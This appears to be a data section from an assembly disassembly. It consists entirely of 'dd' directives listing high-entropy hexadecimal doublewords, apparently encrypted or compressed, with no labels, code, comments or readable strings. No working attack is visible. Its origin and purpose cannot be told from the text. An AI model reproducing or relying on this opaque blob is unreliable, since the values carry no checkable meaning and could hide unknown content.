		dd 1DEF871Dh, 68081D4Bh, 0A2601E6h, 0C5575216h,	459080C3h
		dd 4A1294F9h, 7AD16932h, 6EAACCD4h, 5A824CEAh, 4DFAE035h
		dd 9A6A5144h, 0C39E6874h, 31E5846Bh, 0D5A4948Fh, 345E9055h
		dd 2DC64982h, 0DCB6F863h, 107EDEF6h, 0E001937Eh, 0F71CD539h
		dd 0F54C81BCh, 67C2C189h, 8B9E3AC3h, 95548611h,	729A3F84h
		dd 25C669BAh, 0BC8BD21Ah, 1442D16h, 8D5A1A29h, 56BC4180h
		dd 87A8B6B5h, 260E41Fh,	0B0A2A350h, 6F624B4Ch, 0A642E174h
		dd 6F1D84CAh, 6693B6BFh, 5114C5A9h, 7BD6055Bh, 0B986997Eh
		dd 0BCDDE07Bh, 0F4893F3Ah, 0D805871Fh, 22110A1Fh, 8EB133F6h
		dd 390ABDC3h, 0A3B8B8E6h, 6ED43AC3h, 0EFAA64C3h, 7E4F94C4h
		dd 590C9290h, 4C5664FCh, 0E20FA066h, 4E70F816h,	4629C633h
		dd 0D3131B44h, 0A910355Ch, 0DC6E4EC4h, 38D954C0h, 0A43E08F8h
		dd 1DF8090h, 29500513h,	3C19A2BDh, 4F973F3h, 5C1F18F9h
		dd 0AEE43912h, 2A39B616h, 94EBA3E7h, 0FBFF4FFAh, 0F2CCB313h
		dd 0F4CED19Fh, 0CED4F6B1h, 0BD6EAE03h, 0F002A986h, 154BD62Bh
		dd 0C2C3992Eh, 3D9AA2F6h, 0D0D82E45h, 9843F87Eh, 5193051Fh
		dd 92B1A6E6h, 0FAF3E23Eh, 5E1E0481h, 0E857BC1h,	0AB34FEF6h
		dd 0F1ED7D97h, 589E0124h, 56940F9Bh, 93827F7Ch,	6CFE948Fh
		dd 79E7CE52h, 0ECD6928Ch, 0D3AA17E2h, 65C1D707h, 10FC88AAh
		dd 3AE92B0Eh, 0A0783A70h, 1CA2A85Eh, 0ADFC6D6Bh, 4C4F5400h
		dd 0B80313F7h, 0D2EA073Eh, 0C664B907h, 0AF6E87E3h, 710B8F05h
		dd 3BC0D96Ah, 0E16F4E0Eh, 0AFCC733h, 5E645745h,	387F6E64h
		dd 3EB2A375h, 53F2C0EEh, 308057D8h, 0B9452817h,	70D57466h
		dd 0FAC4369Ch, 945590F0h, 6E0BAFB1h, 768EFC06h,	81B97C03h
		dd 2B3BF4C1h, 1C0916CFh, 93AD9A5Bh, 8382B9E7h, 0D22AC6EBh
		dd 0A8F4491Ch, 85764D61h, 2531F323h, 7BBC713Ah,	0EE163C2Bh
		dd 0DEE2A81Bh, 72A1E958h, 0C305855Fh, 0F5270A7Dh, 952916A2h
		dd 40004616h, 0BDCFF9BFh, 938A4370h, 0E33F85C8h, 87E8D0A8h
		dd 6753B7CAh, 431D8FC6h, 9EA5CA58h, 0AD8CE662h,	0BE3ADAD5h
		dd 67D76450h, 237CCF99h, 95469CBBh, 0C091E31Fh,	0D7CCE074h
		dd 0E14868A2h, 7073B21h, 0F9DA319Ch, 45B34B90h,	0EBEAF982h
		dd 410337A4h, 0E694FB3Ch, 44F4668Ah, 5FDBE02h, 0BA7886A2h
		dd 0A084EC1Eh, 159EA3Dh, 0C9043D4h, 7D91DD4h, 8B397E32h
		dd 0F30AD07Dh, 0D939CFE4h, 97808EE3h, 1ED4F328h, 551F33DFh
		dd 0DA2C04B0h, 0AE17CEC3h, 0D1E240B0h, 12E70FD0h, 8DBF5235h
		dd 0F4AE2D73h, 5A6CDA70h, 1069F3D6h, 0C375A04h,	3E446F05h
		dd 1B2CE688h, 20D88C83h, 41F9D3D0h, 5E8ECD08h, 7F37A770h
		dd 0F0DDFC88h, 0FB396E71h, 0F09E875Dh, 1AF065C6h, 7398A85Dh
		dd 0BDF86B8Ch, 53243D90h, 5E589EC3h, 5EB50097h,	8DC32DC9h
		dd 0C2043269h, 90689E42h, 2B836C19h, 0B04DE0E6h, 99995BB9h
		dd 34C8540Bh, 3E92AFE3h, 0DFA4E2CDh, 0FACDE8C4h, 0BBB5E3D2h
		dd 7A6BFFBFh, 671FC43Eh, 0F9D05B2Eh, 2BD71F36h,	2CEF9FC2h
		dd 68182BEBh, 0E6FFD559h, 41DFD16Eh, 0D2F1CF2Ch, 897FFB57h
		dd 0F5609583h, 84912842h, 17D73F76h, 77806345h,	5C6F046Bh
		dd 18F9BAC9h, 2B7B487Eh, 1862253Fh, 0BABAC095h,	7CB3EFDFh
		dd 0C37559A4h, 0E4692342h, 6F25F795h, 49D0CC9Eh, 55CA6AC4h
		dd 42E670BCh, 4EAD32B5h, 0B2434ADBh, 327B2341h,	0CB7946EAh
		dd 5123ECE6h, 0B8D29B9Ch, 18AE966Eh, 3E55E481h,	8960A7E9h
		dd 0F61814D8h, 85B7FF92h, 78FFFCECh, 28976D8Dh,	6B0481D0h
		dd 9A4F9503h, 0B965A7D5h, 46B5947Dh, 78C1EB37h,	0C8B6ABE6h
		dd 6D0AF1DDh, 0A9F22739h, 0BA162DB5h, 0A7720F3Eh, 0C573BEEFh
		dd 2A8DA301h, 0D1B41613h, 0BC2C45F2h, 13378A65h, 61DD7E00h
		dd 0FA2C6F22h, 0BB8ECC44h, 890E335Eh, 87708E24h, 0F430D79h
		dd 56F5D757h, 856FACFAh, 7DF0E3B8h, 0A18270D4h,	1205F841h
		dd 0A722499Ah, 35774C00h, 86524F39h, 0B8D3A78h,	0CF9512FEh
		dd 2B7E450Ch, 0DA20D78Fh, 67AF3A3Dh, 926EACDEh,	86D49F41h
		dd 0E56E8DF6h, 1C4449E0h, 9ECD6606h, 5A751D64h,	0FBACAEC9h
		dd 0ADA402D8h, 0E2F49EB9h, 3A16D3AAh, 9EDD8538h, 0B5F9B58h
		dd 0E921EC93h, 4372869Ah, 3FADEE4Dh, 13D5DD9Dh,	0FEC943C4h
		dd 0EC31FF53h, 8E104AE7h, 693CBA1Eh, 0E69ABDD4h, 0C64DBC6Ah
		dd 2F686F01h, 2609A6A0h, 55E8D485h, 4778EFEAh, 20B54A49h
		dd 0B890EC4Bh, 8C4DCA8Dh, 0F57BC0A9h, 64040D44h, 0E2579AC5h
		dd 17AB06B0h, 0AB1FD9BAh, 3F10AAA4h, 333CA555h,	95F89167h
		dd 1BA6169Eh, 74FA36BAh, 9A639691h, 861502F9h, 624727C4h
		dd 5768693Eh, 41BD5792h, 2550382Ah, 0E3843ACh, 64EEE6ECh
		dd 6A23A5B5h, 6F1E84A0h, 7B16F304h, 0A110A52Ah,	33A53BDDh
		dd 1EE103C7h, 0E91ABD18h, 2D06A9A6h, 3790EB9Dh,	0D511058h
		dd 38521005h, 0BF386332h, 0CBA7386Ah, 0CEF0BB68h, 0E2DB0DA3h
		dd 2E4E717h, 595B0FA4h,	4145B939h, 5BE490EAh, 10134A7Dh
		dd 0AD2E7D26h, 3FF50807h, 0A5697FD4h, 0DECA2122h, 2FCD5A63h
		dd 308179Eh, 87E4D243h,	0EEAD9592h, 5167687Ah, 0B2598BDEh
		dd 0D88552F3h, 11E15414h, 80A0F786h, 0A3831E24h, 0B33CD708h
		dd 787AFFEFh, 1EF16A3Eh
		dd 671B9398h, 83748B42h, 1C1C4B47h, 8BB5938Dh, 5516D690h
		dd 0A97553ABh, 0A748D062h, 8266B7FAh, 56344E77h, 34D60568h
		dd 109E212Bh, 90873F2Eh, 3CCEC1BEh, 0F58B6274h,	0D1A5A1E7h
		dd 73C72C99h, 3450506Dh, 7E0E09A3h, 5799F482h, 2510530Bh
		dd 42B9EB8Fh, 0A44DE8Eh, 0F2698040h, 0CD2426E9h, 8415A381h
		dd 0FA7854C5h, 8C0368A2h, 10584391h, 71CDA6F4h,	0E3A695B5h
		dd 1AC61B70h, 0CB39BFDBh, 46DF09EEh, 0D71E8C3Bh, 8771D794h
		dd 0FF405C17h, 0F4D7F691h, 0BC78023Dh, 88872F30h, 0D768EDD9h
		dd 6329A7F3h, 51A57114h, 538DBCB6h, 8B1F593Ah, 0C63DCB7Bh
		dd 195F9649h, 0CB9559FAh, 36871746h, 47A8C697h,	40F045EAh
		dd 0B26869CAh, 630258AFh, 0BAE59BF3h, 0E29ACD52h, 6B99ACC4h
		dd 1FF2ABFCh, 0DA8290ECh, 825C014Ah, 0D8DE536Dh, 0DB4B0F30h
		dd 0BDE38FEh, 808B7828h, 616DB855h, 4C119828h, 92B70CF9h
		dd 0C67C7101h, 1A4A2E8Ch, 7C4E8BE9h, 38B2E321h,	3E0F84C7h
		dd 6C03C7D7h, 50B2116Bh, 7606AA7Ah, 16AF09A6h, 0BD72C86Ch
		dd 9C6E39D7h, 0C02D805h, 44F3F31Ch, 7DAC35D6h, 135887D0h
		dd 0C6B782B4h, 85C49DF2h, 0F6D104F4h, 0D1D9364Eh, 0E5DD0174h
		dd 0AB9DBB6Ah, 8B4D95B8h, 0BC5E86EDh, 3930212Dh, 4F9AA590h
		dd 0FD09E3D2h, 44E3B206h, 585D1AD1h, 0CB9B4C77h, 98B812D6h
		dd 9C6B2C7Fh, 8FAA8B36h, 82B1BEB2h, 74E9DD82h, 3A7069C6h
		dd 0C7B5ED13h, 0F4B2A6BFh, 0D2330D28h, 0BA5B4795h, 4C2AABDDh
		dd 0EA7F2708h, 0C159C478h, 962FF028h, 7B269083h, 0AA0A32D6h
		dd 814B24F1h, 4A324438h, 8FAA279Eh, 0B70A94BFh,	4BFABD53h
		dd 4A0F56D0h, 0BDE2DB03h, 882EB70Ch, 0F33F6608h, 43C08B91h
		dd 0CEC15160h, 75C919A2h, 7E89EEA2h, 37F636B9h,	79D777A6h
		dd 0C768E94Dh, 0C7257EA9h, 7E800D9Ah, 59663679h, 490917ABh
		dd 0BEB96F8Bh, 51957F79h, 0C1BDE950h, 693DA239h, 0BDB67800h
		dd 0E34C077Dh, 0A7CF805Ch, 83CEBE6Ah, 65BD3BE3h, 0C7A87D38h
		dd 2B8A75D5h, 0B44B91B3h, 0BB910445h, 0FFDB80EBh, 862F5438h
		dd 0B1E0F19Ch, 0A41856Dh, 83E341FFh, 0D04524CAh, 0CBC0809Ch
		dd 1BBC555Ch, 7FB5EBAh,	8C2A90EFh, 7C6BE8Ch, 1AD74C19h
		dd 0BF857B3Dh, 0A10A04FBh, 7739FEE0h, 8518CDD3h, 0F5F88327h
		dd 0EC7866h, 0C7112619h, 0A2D52DCFh, 0A0ACA5ECh, 81FA2C6Bh
		dd 404C38F7h, 39C35999h, 0D73746E8h, 0D81E950Ah, 3EAF18B7h
		dd 0D53CB1A4h, 550EC63Fh, 9089C047h, 0F7F2B2D5h, 0FEC27FBAh
		dd 0BFB5840Ch, 0F0C43260h, 0DCE87B3Dh, 0FE4D4CCDh, 3B31793Dh
		dd 0DA7A9B5Fh, 20D1CA1Ah, 0D5D8E949h, 88ED27E3h, 8BD9A14Bh
		dd 0F60AA210h, 601D22EFh, 8C129003h, 302536CEh,	0E980904Ah
		dd 2FA9E631h, 0EEA2203Bh, 7B6E7FB9h, 4B4F5663h,	0AE8AEC91h
		dd 58BE80FCh, 0BAA3AFCFh, 0C39D62A4h, 0E91EFF6Ch, 3B3A31B5h
		dd 5E9EAEBAh, 4DE5C1ADh, 0AB9A69BEh, 52794E03h,	575232A5h
		dd 136583A1h, 0B77B4E5Bh, 43EE855Eh, 0B5D8CA52h, 892743D3h
		dd 0C3F21424h, 0A858B768h, 0B367C619h, 7626552Ah, 1874CA3Bh
		dd 0A1ADC6CBh, 6DD30A5Fh, 0F0748E96h, 4E0C04Ah,	4609BDD5h
		dd 0D6F6BFCEh, 7ADB707Bh, 38397BFFh, 0FAEDF75Ch, 5C81A95h
		dd 926627A9h, 89E2CE91h, 8582F842h, 0D79E4486h,	0EC699312h
		dd 36652259h, 8B02395Bh, 56A771F6h, 67BAF842h, 3891968Eh
		dd 1216BED4h, 57C4D810h, 0F89966B0h, 0AC6AA2Ch,	73FEB488h
		dd 81C309D1h, 28776EB3h, 5CA78749h, 0E6B646Ch, 70891809h
		dd 188F755Ch, 4316C355h, 94C8945Eh, 73B5E1CFh, 0D77ABDD2h
		dd 0E4A13DB7h, 8AA2BE12h, 997D1979h, 72D9617Fh,	0F594767Eh
		dd 0B4885051h, 0A8B9AEB8h, 653A1F4Ah, 0DECDCFEh, 0B822CD47h
		dd 0DE7B789Bh, 0EBE8F717h, 0EAEF2522h, 20B1391Ah, 0EA2C6554h
		dd 619096BEh, 8F3E73C3h, 0F9DEE4EBh, 0B2A5260Ch, 0D1E24CA1h
		dd 30755F42h, 0FAE90F44h, 0EC4BB36Bh, 218E4895h, 2124DF2Ah
		dd 0A4A71CC3h, 0F39753A4h, 0A6458B63h, 5EA9D81Ch, 12B7E56Eh
		dd 90680F8Ah, 0FFF66575h, 0FFFA926Bh, 0F4FE45AAh, 7663A4AAh
		dd 0E49B052Bh, 2DAA217Dh, 0D8DE4084h, 0F12D0D20h, 2B4BD4FAh
		dd 9F0D3E2Ch, 1503F848h, 2518824h, 0C0F58810h, 0DB13DD27h
		dd 8C2E32FBh, 6F57AEC6h, 73FDCC53h, 727ADDAAh, 2AD34B4Bh
		dd 705A3DB6h, 0A461895Dh, 0CBA78DA7h, 9AA530C5h, 0ADE48797h
		dd 199D2587h, 0B098A84Dh, 0ECA55A77h, 23F2E0F7h, 77A8B2D4h
		dd 4454CA55h, 0D814680Fh, 8D41E0EDh, 4BD38A5Dh,	4ED6C15Ah
		dd 0B24E84C2h, 71AB4C60h, 57487DF8h, 29AF14BDh,	0BDBE77Ah
		dd 0E5A2DD1h, 1CBAD65Ah, 0AD0E435Fh, 2818A567h,	0BE103BBBh
		dd 0B852433Dh, 4E564795h, 0D9E6DA1Ch, 0BF459CD3h, 6477354h
		dd 3FB2E167h, 0B2EFC4B9h, 0C6ED4D7Eh, 38DBD1CEh, 2FD8F856h
		dd 9BC72D9Bh, 95BCCAE7h, 0AB9B1CB7h, 428D5663h,	0A657D58h
		dd 14D7F37Bh, 2CB17D9Dh, 0C7056ED0h, 0ED23DA47h, 0EA14EEC1h
		dd 58BEFEE3h, 955A358Bh, 6DA163D0h, 18FB430Fh, 0C299E73Dh
		dd 4854D7CBh, 27A2B3DEh, 0CAA2E1E4h, 0CC6CFBF3h, 0CBBA23FBh
		dd 0CCE387E4h, 0E111DB65h, 0E45E81DAh, 88F71C83h, 835802C3h
		dd 0EDB4419Ah, 0C4DD925h, 0EA2D5E74h, 34C61C22h, 43C05D5Dh
		dd 0ECC28077h, 41EA6418h, 0C05CE61Bh, 4FDCDF73h, 0DE19555Dh
		dd 10BD1E87h, 7AB5EC06h, 182EBA63h, 0A84175A7h,	4FA32D93h
		dd 30C8414Ah, 33786FC2h, 2468FE3Bh, 0E379AE90h,	0C854C05Dh
		dd 83B20447h, 0A9C07232h, 17F7BC47h, 8C84DDCFh,	0DE37C126h
		dd 5DB5BBE8h, 0D9284946h, 0C30E61Dh, 6234D97Ah,	434173D5h
		dd 5B8F8B79h, 89AD20B3h, 0E5910185h, 931F6653h,	0DD787167h
		dd 1EEDA0E8h, 61B60AF6h, 0D451F959h, 789BE106h,	7E4D23E5h
		dd 0DD76CA0Fh, 829FE4E5h, 9619B57Ah, 85F9C603h,	11E4B880h
		dd 629C145Bh, 83B17FBh,	650108A8h, 0B680BE1Fh, 0FB3FE1Ah
		dd 679B606Eh, 0D6E51656h, 5C899DB1h, 0D1A09058h, 98379D51h
		dd 6F3A0DBDh, 0F7C542A1h, 484BC1E2h, 531AEFAFh,	82A61BB3h
		dd 93FFC9ADh, 0E4FB6E4Fh, 8A5BA7B6h, 109618FCh,	0BD3751E6h
		dd 54EFA140h, 0ED645BD7h, 0CC4CEC4Bh, 0AE87716Bh, 0E95858D2h
		dd 1EC4012Dh, 0B013E9FCh, 95822B52h, 3B6DCD71h,	0F11BF2EDh
		dd 0A85EA604h, 0BB46173h, 3B6B0293h, 5F7A2BACh,	0FE682EDCh
		dd 51754400h, 8E1DF4B1h, 716CA37Ch, 83A4215Eh, 0F76D3C18h
		dd 968B7425h, 745E0088h, 0B0E276F1h, 0D0D339D8h, 3F9B1DC6h
		dd 1640CA62h, 785D912h,	4F0B4316h, 76F203C8h, 0D73B7E5h
		dd 106CCD22h, 2BB17EBh,	522A102Eh, 0A30EBBBDh, 5E4D1EF1h
		dd 0F988AB2Bh, 0B097F888h, 0F483C8D5h, 6A4BE7D7h, 418BDD4Ch
		dd 85004EDEh, 588D86C2h, 8E6D5160h, 0B4067A41h,	0D25903D6h
		dd 343C3312h, 0B0EACB1Bh, 4F0AF6ABh, 84B25F94h,	608C2DB8h
		dd 0C515DA3Bh, 0D8806DA3h, 0F56E876Eh, 0DADF0157h, 0F9F9A984h
		dd 101F0E67h, 405A5058h, 0AE485179h, 93EEFE4h, 99979BF3h
		dd 742F8246h, 0D41EAB7Eh, 0E8116F76h, 1DD60052h, 0A9D5EF2Bh
		dd 309B12A0h, 7A76E2F6h, 0ED7D3A3Ah, 45CB2318h,	0E9E6D446h
		dd 0D9B53574h, 0E896CD53h, 0D993D027h, 93CEE3E6h, 6442543Ch
		dd 0FCB83CEFh, 631B45C0h, 9D00A3B5h, 57191724h,	81A936DFh
		dd 0EA2FA114h, 0F2EBED5Eh, 43F9A870h, 9D12934Ch, 0C2DCE61Ch
		dd 1F41D714h, 1B89A510h
		dd 0C31742C5h, 6A2E4DD2h, 6E5D6BCCh, 7517A30h, 4BBC5223h
		dd 1E8EFEA6h, 0F26F4E13h, 39A06038h, 6F625CD6h,	7CA8B3AEh
		dd 0E37B0B47h, 21CCF743h, 0A3008936h, 0D385016Bh, 6A16B5CDh
		dd 0A2975581h, 6C831D63h, 8F987794h, 99966ECFh,	92870FF0h
		dd 85FC8F82h, 0ADFBB507h, 0F114F945h, 84355319h, 9CDB51E7h
		dd 0A9A974F8h, 6C46D1D1h, 0DAC472EAh, 19A8866Dh, 0F6DF7448h
		dd 209C9B83h, 3310EF56h, 53D7FB94h, 3207A200h, 0DC563B51h
		dd 0E3429E2Ah, 0E09A2C89h, 0DFF88E7h, 0E8369266h, 5C0C54C7h
		dd 0E472B95Bh, 308D16BCh, 5C1B9D1Ch, 9F654EE9h,	0FA57F8C6h
		dd 9A18BEA2h, 0EE38D75Bh, 0D8188B35h, 369A256Dh, 4151FCC0h
		dd 7DBD8D42h, 51C8F7D5h, 2E33F4AFh, 38826020h, 0EF67A311h
		dd 64E422Eh, 0A86B49BCh, 1037B52Eh, 4EE02393h, 475DAD8Ah
		dd 0A87057F2h, 16B6EAE2h, 13F0F0CDh, 9D6BE5A2h,	180535E0h
		dd 22E98322h, 80FA0AB9h, 93B4B8C9h, 0FC9ADDEAh,	99E2E2A5h
		dd 3F21F815h, 0B357EB48h, 0E46E88D5h, 0CB24F1C1h, 0A608971Fh
		dd 6FFE646Dh, 0A14A2A47h, 667724C5h, 3618AC1Ch,	84B95885h
		dd 0D8D89803h, 3ED63B97h, 73008E8h, 0D01047DDh,	5F2673DDh
		dd 0B24B64DBh, 0C8E31126h, 998A045Dh, 0DA6B705Eh, 747E97FEh
		dd 0A4AD2ED7h, 0E37DABC4h, 289FDBA9h, 0AA5EF46Eh, 86ED366h
		dd 99D0497Fh, 278CC91Ch, 0CC1E975Dh, 0C3D84317h, 27E4C542h
		dd 95362418h, 0E7BBBBFAh, 4C37B482h, 5270074Dh,	71F2F641h
		dd 0FB089C79h, 680C0EACh, 338A8E21h, 0C26F656Dh, 7B134895h
		dd 424358D7h, 379B70B2h, 81225D13h, 2C08639Eh, 0EDF71180h
		dd 7C54D64Eh, 0CC1C84FDh, 2E94E6B9h, 0D0BCE387h, 82F92D04h
		dd 7B0B34A2h, 73915AEh,	0EAE437ADh, 2559D538h, 2350600Dh
		dd 67EB7A54h, 0DB1EDDA7h, 84364726h, 0C531C6E5h, 99664B3Fh
		dd 3CD9DD09h, 548447BCh, 0C9ABD7CAh, 1DA7718Dh,	56FA0084h
		dd 200C6h, 0AC10FD5h, 0D220578Bh, 2A284036h, 0B655E9FCh
		dd 0F144D637h, 730945AAh, 6FB98623h, 32E22695h,	288DC94Fh
		dd 0A550E67Dh, 6F80264h, 0DE71A6FFh, 27FD552Ch,	1BC18F93h
		dd 1C7644ECh, 0B69002BFh, 4CE9A3C1h, 86937F3Ch,	0B9A4D82Bh
		dd 6B7A327h, 7D9E78ECh,	4BE02A78h, 8C2A4ED6h, 71261276h
		dd 9FED331Bh, 3E9F4529h, 4807FFD6h, 71808048h, 7D38A78Ch
		dd 0CF54B5ECh, 600F1459h, 0E34C9051h, 2BFF5C2Fh, 9875BB72h
		dd 66602F46h, 0C7152D9Fh, 4DC1EED1h, 0D182A8B1h, 0B35FA321h
		dd 5EB93E5Ah, 6000C791h, 2FF10F87h, 56B5AA47h, 9988DE44h
		dd 7D20B93Ch, 0EEB92B84h, 101AAD8Dh, 0E9C7B7Bh,	0A3D8261h
		dd 0CACB09E3h, 0CCFD80B1h, 1E304741h, 332CB5E0h, 6EEEC4D3h
		dd 95D5FAB5h, 2197C651h, 330D547Bh, 1B272693h, 58E3EAD3h
		dd 0F51FBD94h, 236E72A5h, 5782D8E4h, 284B7E5Fh,	80BB5E4Ch
		dd 6C34D969h, 0C3156F9Ch, 7E9D2B8Ah, 0D5C3C76Ch, 7AB7E46h
		dd 0AB32802Ch, 0C1992B33h, 7DDEE92Fh, 9A2B64F0h, 5D623D1h
		dd 0F57641D5h, 0B672A21Dh, 0BE94DDA3h, 0E6F31F2Bh, 703739C8h
		dd 69396BFEh, 9009446Ah, 1DE76638h, 502F2831h, 45E6F304h
		dd 0F7C8EC03h, 0C5F44F27h, 45FFF718h, 0A2D79D77h, 1C6FB60Dh
		dd 1744981Ch, 3B02EC8Dh, 9C2602ADh, 92A7AA50h, 0A26C61A3h
		dd 5BB03003h, 3174C646h, 0E8BE5FF0h, 54981522h,	0E21B84C4h
		dd 1403C35Fh, 8A8757F1h, 7C084EB6h, 0EDA1C870h,	25958F33h
		dd 411A2F09h, 0CD0411DEh, 3DA445E4h, 527B2215h,	3D304B8Fh
		dd 6E8809EAh, 0CFFBBA66h, 1C019B2Ch, 9C4C025Ah,	0A7D65E3h
		dd 254E5E7Bh, 416B3EBEh, 62A7E41Ch, 2652ED35h, 0F5EB3D17h
		dd 0B1D1D62h, 703151C0h, 775760F7h, 0E1E50B4Dh,	88086191h
		dd 0E1B7D473h, 61BAF8F0h, 31246307h, 7C2F1ED4h,	0C9B5514Dh
		dd 2001094Fh, 4C06F60Ch, 0B946D56Eh, 0D01441F4h, 6A260C05h
		dd 0D83E00D0h, 0B8FB101Bh, 7A7509C4h, 0B820AC49h, 2769FD03h
		dd 0D0DEC19Bh, 0BF7F5EAAh, 0A4758072h, 0A0EB25EDh, 0C0F7382Dh
		dd 991F441Eh, 0BDD38223h, 35A7B205h, 4491EB76h,	2717E41h
		dd 6BF5E168h, 0A2EDB0B8h, 61CB89F7h, 1601799Ch,	237CD5C7h
		dd 3631A5Ah, 861666C9h,	0F697057Fh, 13A5C687h, 0B4C1B32Ch
		dd 2B66967Dh, 0F64A4A66h, 0E4D5B685h, 3AB5E625h, 3F690801h
		dd 0ACCFD62Ah, 59B7176Ch, 26E6029Bh, 0B197B130h, 6FA5E5F3h
		dd 733EEEB1h, 0FEDFBDE5h, 31CE650Bh, 0F1BF91B5h, 0C5CE6E5Ch
		dd 7FD465CAh, 6E70C6B2h, 0ECE3B8Ah, 9DCE4C66h, 48D2E600h
		dd 3794B9ECh, 6B465494h, 7D7CA049h, 0C2567970h,	53F94D7Bh
		dd 0EE81F462h, 0DED4FD8Fh, 11373CF9h, 9AC42830h, 7BEC34C0h
		dd 5FD81E92h, 502D472Ch, 9AD221E5h, 5B6DDD11h, 3F3A7BE5h
		dd 4DACF306h, 19CB400Ah, 1F259022h, 0FC97D9E3h,	53139B5Fh
		dd 0C7CA6F86h, 7E58516Bh, 6EB62F40h, 0EF5D50E6h, 0A5BD32E4h
		dd 9F0F99F8h, 8579C80h,	1C64D1C5h, 0B99CAD42h, 16DAF35Ch
		dd 0AA864911h, 0B116F634h, 4BC6CD93h, 6EEB086Eh, 4651E3Fh
		dd 3A687287h, 8B594C5Bh, 1B37C02Ch, 0F2431D8Eh,	0E6330B27h
		dd 5A8D9CE9h, 7CB8C6C1h, 0D152C549h, 32CE3026h,	0C26B5h
		dd 0C552D5Dh, 26B18E30h, 103A4D6Ch, 61E02C56h, 2624B1F6h
		dd 52D93DC0h, 858A89Dh,	0F6DF40CDh, 9815898Fh, 0D2323B5Ch
		dd 0EC4F314Eh, 6E665590h, 0ABB28507h, 5888FA5Ch, 0F6CE13AEh
		dd 0F70A603h, 7D87747Fh, 0E3B2080h, 0C20CCAA3h,	51A877B3h
		dd 87D78F00h, 59B10173h, 330C7986h, 4E0E030Fh, 0ADBB57B9h
		dd 0EB36DB56h, 0EDB8DFC0h, 152E3773h, 0B3E6EE31h, 1DC1112Eh
		dd 7EBD2341h, 0A4B430D1h, 83D7F7C0h, 4289EDC8h,	4670E576h
		dd 13312CA7h, 4FD5095Ch, 976F6DF2h, 762A4927h, 6DC7B8F0h
		dd 0CA6AF78Ch, 0E24EED20h, 0F589443Eh, 0BB06F95Ah, 85FA9D53h
		dd 0FC95FAE1h, 0B1330946h, 39C6201h, 8C7D90DAh,	263B43C3h
		dd 0E95FD72Bh, 1E8449C3h, 0BC9ABA13h, 8CDA7C4Ch, 1D37D809h
		dd 0E5A9CC62h, 0ECDFDB91h, 5B5C6CA1h, 5F090787h, 0EE6A686Bh
		dd 9C072ED5h, 0EE94A15h, 5221C982h, 495E36B3h, 0E816952Ah
		dd 63ED2B08h, 0F7235AD0h, 2F46A59Bh, 2B48C5F8h,	6B3DD65Ah
		dd 0F6F0FC20h, 3C383CE1h, 850904FDh, 892E2646h,	54333D3Ah
		dd 30BDD72Bh, 55139C71h, 9E85E068h, 70ED6D50h, 225D208h
		dd 0F3F7C442h, 962A36Eh, 80BA4190h, 9176FDEh, 49456768h
		dd 53F5F9C2h, 26D92B73h, 171368B7h, 429F1312h, 1C849B08h
		dd 0E992EA94h, 7175F677h, 31505DEDh, 0DD661E9h,	85B814h
		dd 32DD7CBBh, 40CF80A6h, 21ACB1EAh, 80AE0C47h, 0E029EED2h
		dd 0AF4FF2B7h, 0DE743033h, 8748A8C0h, 0D2FC04A2h, 15003789h
		dd 0FE71E03Bh, 5205FD9h, 0DEB1E190h, 2D038E01h,	978B2CDEh
		dd 992603ADh, 732A44ADh, 0A719318Ch, 0F60924Eh,	4982B814h
		dd 7B8CF81h, 74914AC1h,	0D515D00h, 0E35077h, 0ECD33484h
		dd 934759D3h, 0C26C8061h, 9FDE8F7Fh, 14729699h,	251CD2D6h
		dd 113C2768h, 1E1D856Fh, 2ADD06ACh, 0BD63BFA4h,	99748B69h
		dd 7DB78576h, 47577221h, 0DF4B4E37h, 0ADED2B5Ah, 615CDF73h
		dd 5B0D97A8h, 22DF619Eh, 84C2577Fh, 48DD57DDh, 0BFEE5F9Eh
		dd 1EE7D8BAh, 0A171FEB4h, 0C77A85Ch, 3B14AD6h, 0D9CB684Fh
		dd 763BE749h, 0AF131312h, 829C45E0h, 0AE1C16DDh, 9949B941h
		dd 2590FADBh, 1045E82Fh
		dd 83E04B07h, 41B98415h, 50A1E82Fh, 0ED6C8812h,	0B6E55F77h
		dd 502C12ACh, 1F7BD328h, 0C89E00B8h, 3857C920h,	7C2C23C8h
		dd 0F4F17B0Fh, 0AF599852h, 0B6D1DC8Bh, 331D099Eh, 7EB8C1B9h
		dd 31D2D5EAh, 39B84FE7h, 0D05396D0h, 1A2AD28Eh,	0DCF32A0Dh
		dd 0A4133B2Fh, 0FAF416C9h, 0DCA78C4h, 0AE5437C0h, 0E229F549h
		dd 86FA2AC7h, 0EDEDC928h, 46125299h, 4E32283Ch,	56EA4CFDh
		dd 0B4D9AAA1h, 81FC7DD1h, 0EF42BB1h, 37C3097Fh,	0E70FCE66h
		dd 62F11D1h, 0D64D679Eh, 0AA1057E9h, 6FA49FB9h,	0C5F32B3Ch
		dd 8E613D7h, 60869185h,	6DEE16E6h, 78AA0D6Ch, 0E29E561Fh
		dd 171E9D1Bh, 0CF2910F2h, 73E59C61h, 0F9ADA4CBh, 65C14E1Eh
		dd 1614CBEDh, 0C2C5E21Fh, 2AC44071h, 9E333379h,	0D010B38Bh
		dd 1945E9DEh, 0DE50FA5h, 99643D6Ah, 492A3FB1h, 0F25E14BAh
		dd 0B4466ED6h, 7998DA0Bh, 73382C9h, 0B09B65BAh,	7A205B81h
		dd 76B879B1h, 3DC403FAh, 0A2705600h, 30CFF616h,	61BAE3Eh
		dd 0CF0C4397h, 96F35E38h, 0CCB7E2Dh, 0EF2C646Eh, 217399CBh
		dd 68674E3Fh, 7F39DB79h, 0BFB94F8Ch, 14DB8852h,	5D8DBF1Eh
		dd 0FF823B88h, 0D47E983h, 30DA6371h, 3C479E82h,	0E8D27643h
		dd 0B381D0F1h, 0BB502C27h, 0BA1A4BBEh, 0E9EF8EAEh, 37D632D9h
		dd 7BB3F713h, 1132197Dh, 0E85AEF31h, 0AC89C48Fh, 4F989A85h
		dd 0F6621B8Eh, 56EFC6B7h, 292D6F8Eh, 3D48FE28h,	57178100h
		dd 0B580C5D9h, 6B034605h, 550F4739h, 1DEB11D1h,	0CA46B912h
		dd 4AA5D7BBh, 24AD3054h, 0C92223D4h, 3AD46EC7h,	6139AED8h
		dd 0B6674099h, 0CFBDE2E4h, 49F216EFh, 2FF08543h, 0E366BCD2h
		dd 0FD6467DCh, 95151E33h, 8620B290h, 35ED868Ah,	7EBE5F9Dh
		dd 1D04B8F5h, 29395E30h, 0B77E3C20h, 27C4EECDh,	47E328F0h
		dd 1ED50CE9h, 0C6D26B7h, 93CB0043h, 51646B32h, 0E4E89528h
